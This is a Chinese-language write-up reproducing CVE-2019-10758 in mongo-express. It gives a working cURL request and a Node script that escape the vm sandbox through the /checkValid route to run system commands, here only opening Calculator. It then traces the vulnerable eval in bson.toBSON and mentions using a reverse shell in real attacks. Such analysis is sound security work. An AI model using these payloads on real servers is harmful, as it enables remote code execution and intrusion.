(CVE-2019-10758)Mongo expres 远程命令执行漏洞
一、漏洞简介
二、漏洞影响
三、复现过程
cURL exploit
curl 'http://localhost:8081/checkValid' -H 'Authorization: Basic YWRtaW46cGFzcw==' --data 'document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("/Applications/Calculator.app/Contents/MacOS/Calculator")'
Script exploit
node main.js
exploit = "this.constructor.constructor(\"return process\")().mainModule.require('child_process').execSync('/Applications/Calculator.app/Contents/MacOS/Calculator')"
var bson = require('mongo-express/lib/bson')
bson.toBSON(exploit)
很明显从 exploit 中我们能明显得出以下两个结论:
- 存在 RCE 漏洞的代码位于
mongo-express/lib/bson
- 路由
/checkValid
从外部接收输入,并调用了存在 RCE 漏洞的代码,由此存在被攻击的风险
首先定位可以接受外界输入的路由 https://github.com/mongo-express/mongo-express/blob/v0.53.0/lib/router.js:
首先定位可以接受外界输入的路由 https://github.com/mongo-express/mongo-express/blob/v0.53.0/lib/router.js:
const router = function (config) {
// 省略其他无关代码
const appRouter = express.Router();
appRouter.post('/checkValid', mongoMiddleware, configuredRoutes.checkValid);
return appRouter;
}
继续定位 https://github.com/mongo-express/mongo-express/blob/v0.53.0/lib/routes/document.js:
var routes = function (config) {
// 省略其他无关代码
var exp = {};
exp.checkValid = function (req, res) {
var doc = req.body.document;
try {
bson.toBSON(doc);
} catch (err) {
console.error(err);
return res.send('Invalid');
}
res.send('Valid');
};
return exp;
}
可以很明显看到这里会从 POST 请求中读取 document
并作为参数继续调用 bson.toBSON(doc);
,而根据我们之前的分析,漏洞代码有 99% 的可能性位于 bson.toBSON
函数内,所以继续分析源码,https://github.com/mongo-express/mongo-express/blob/v0.53.0/lib/bson.js:
var mongodb = require('mongodb');
var vm = require('vm');
var json = require('./json');
// 省略一些无关代码
//JSON.parse doesn't support BSON data types
//Document is evaluated in a vm in order to support BSON data types
//Sandbox contains BSON data type functions from node-mongodb-native
exports.toBSON = function (string) {
var sandbox = exports.getSandbox();
string = string.replace(/ISODate\(/g, 'new ISODate(');
string = string.replace(/Binary\(("[^"]+"),/g, 'Binary(new Buffer($1, "base64"),');
vm.runInNewContext('doc = eval((' + string + '));', sandbox);
return sandbox.doc;
};
// This function as the name suggests attempts to parse
// the free form string in to BSON, since the possibilities of failure
// are higher, this function uses a try..catch
exports.toSafeBSON = function (string) {
try {
var bsonObject = exports.toBSON(string);
return bsonObject;
} catch (err) {
return null;
}
};
重点出现!>>> vm.runInNewContext('doc = eval((' + string + '));', sandbox);
对 nodejs 的沙箱逃逸有所关注的朋友很容易就能注意到这段代码和 vm 沙盒逃逸代码 demo 的惊人相似:
const vm = require('vm');
vm.runInNewContext('this.constructor.constructor("return process")().exit()');
在这里,由于用户输入的最终会被拼接上 eval
,所以很容易就能导致 RCE。可以看到作者的 exploit 就是获得全局上下文后直接导入 child_process
来执行系统命令:
this.constructor.constructor("return process")().mainModule.require('child_process').execSync('/Applications/Calculator.app/Contents/MacOS/Calculator')
不过由于这是个没有回显的 RCE,因此在实际漏洞利用的时候可能需要反弹 shell 之类的操作来辅助漏洞的利用。